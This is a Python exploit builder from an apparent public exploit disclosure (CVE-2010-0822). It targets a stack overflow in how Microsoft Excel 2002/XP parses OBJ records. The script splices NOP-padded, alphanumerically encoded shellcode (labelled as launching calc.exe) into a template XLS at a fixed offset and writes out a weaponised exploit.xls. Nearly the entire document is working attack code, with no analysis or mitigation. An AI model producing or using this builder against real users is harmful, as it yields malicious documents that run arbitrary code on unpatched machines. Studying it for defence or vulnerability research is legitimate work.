Month Of Abysssec Undisclosed Bugs - Microsoft Excel OBJ

`'''  
__ __ ____ _ _ ____   
| \/ |/ __ \ /\ | | | | _ \  
| \ / | | | | / \ | | | | |_) |  
| |\/| | | | |/ /\ \| | | | _ <  
| | | | |__| / ____ \ |__| | |_) |  
|_| |_|\____/_/ \_\____/|____/  
  
http://www.exploit-db.com/moaub-24-microsoft-excel-obj-record-stack-overflow/  
http://www.exploit-db.com/sploits/moaub-24-excel-exploit.zip  
'''  
  
'''  
  
Title : Microsoft Excel OBJ Record Stack Overflow  
Version : Excell 2002 and XP (SP3)  
Analysis : http://www.abysssec.com  
Vendor : http://www.microsoft.com  
Impact : Critical  
Contact : shahin [at] abysssec.com , info [at] abysssec.com  
Twitter : @abysssec  
CVE : CVE-2010-0822  
  
'''  
  
  
import sys  
  
def main():  
  
try:  
fdR = open('src.xls', 'rb+')  
strTotal = fdR.read()  
str1 = strTotal[:36640]  
str2 = strTotal[37440:]  
  
# shellcode calc.exe  
shellcode = '\x90\x90\x90\x89\xE5\xD9\xEE\xD9\x75\xF4\x5E\x56\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5A\x6A\x41\x58\x50\x30\x41\x30\x41\x6B\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4A\x49\x4B\x4C\x4B\x58\x51\x54\x43\x30\x43\x30\x45\x50\x4C\x4B\x51\x55\x47\x4C\x4C\x4B\x43\x4C\x43\x35\x44\x38\x45\x51\x4A\x4F\x4C\x4B\x50\x4F\x44\x58\x4C\x4B\x51\x4F\x47\x50\x45\x51\x4A\x4B\x51\x59\x4C\x4B\x46\x54\x4C\x4B\x43\x31\x4A\x4E\x46\x51\x49\x50\x4A\x39\x4E\x4C\x4C\x44\x49\x50\x42\x54\x45\x57\x49\x51\x48\x4A\x44\x4D\x45\x51\x49\x52\x4A\x4B\x4B\x44\x47\x4B\x46\x34\x46\x44\x45\x54\x43\x45\x4A\x45\x4C\x4B\x51\x4F\x47\x54\x43\x31\x4A\x4B\x43\x56\x4C\x4B\x44\x4C\x50\x4B\x4C\x4B\x51\x4F\x45\x4C\x45\x51\x4A\x4B\x4C\x4B\x45\x4C\x4C\x4B\x43\x31\x4A\x4B\x4C\x49\x51\x4C\x47\x54\x45\x54\x48\x43\x51\x4F\x46\x51\x4C\x36\x43\x50\x46\x36\x45\x34\x4C\x4B\x50\x46\x50\x30\x4C\x4B\x47\x30\x44\x4C\x4C\x4B\x44\x30\x45\x4C\x4E\x4D\x4C\x4B\x42\x48\x44\x48\x4D\x59\x4B\x48\x4B\x33\x49\x50\x43\x5A\x46\x30\x45\x38\x4C\x30\x4C\x4A\x45\x54\x51\x4F\x42\x48\x4D\x48\x4B\x4E\x4D\x5A\x44\x4E\x50\x57\x4B\x4F\x4A\x47\x43\x53\x47\x4A\x51\x4C\x50\x57\x51\x59\x50\x4E\x50\x44\x50\x4F\x46\x37\x50\x53\x51\x4C\x43\x43\x42\x59\x44\x33\x43\x44\x43\x55\x42\x4D\x50\x33\x50\x32\x51\x4C\x42\x43\x45\x31\x42\x4C\x42\x43\x46\x4E\x45\x35\x44\x38\x42\x45\x43\x30\x41\x41'  
  
if len(shellcode) > 800:  
print "[*] Error : Shellcode length is long"  
return  
if len(shellcode) <= 800:  
dif = 800 - len(shellcode)  
while dif > 0 :  
shellcode += '\x90'  
dif = dif - 1  
  
fdW= open('exploit.xls', 'wb+')  
fdW.write(str1)   
fdW.write(shellcode)  
fdW.write(str2)  
  
fdW.close()  
fdR.close()  
print '[-] Excel file generated'  
except IOError:  
print '[*] Error : An IO error has occurred'  
print '[-] Exiting ...'  
sys.exit(-1)  
  
if __name__ == '__main__':  
main()  
  
`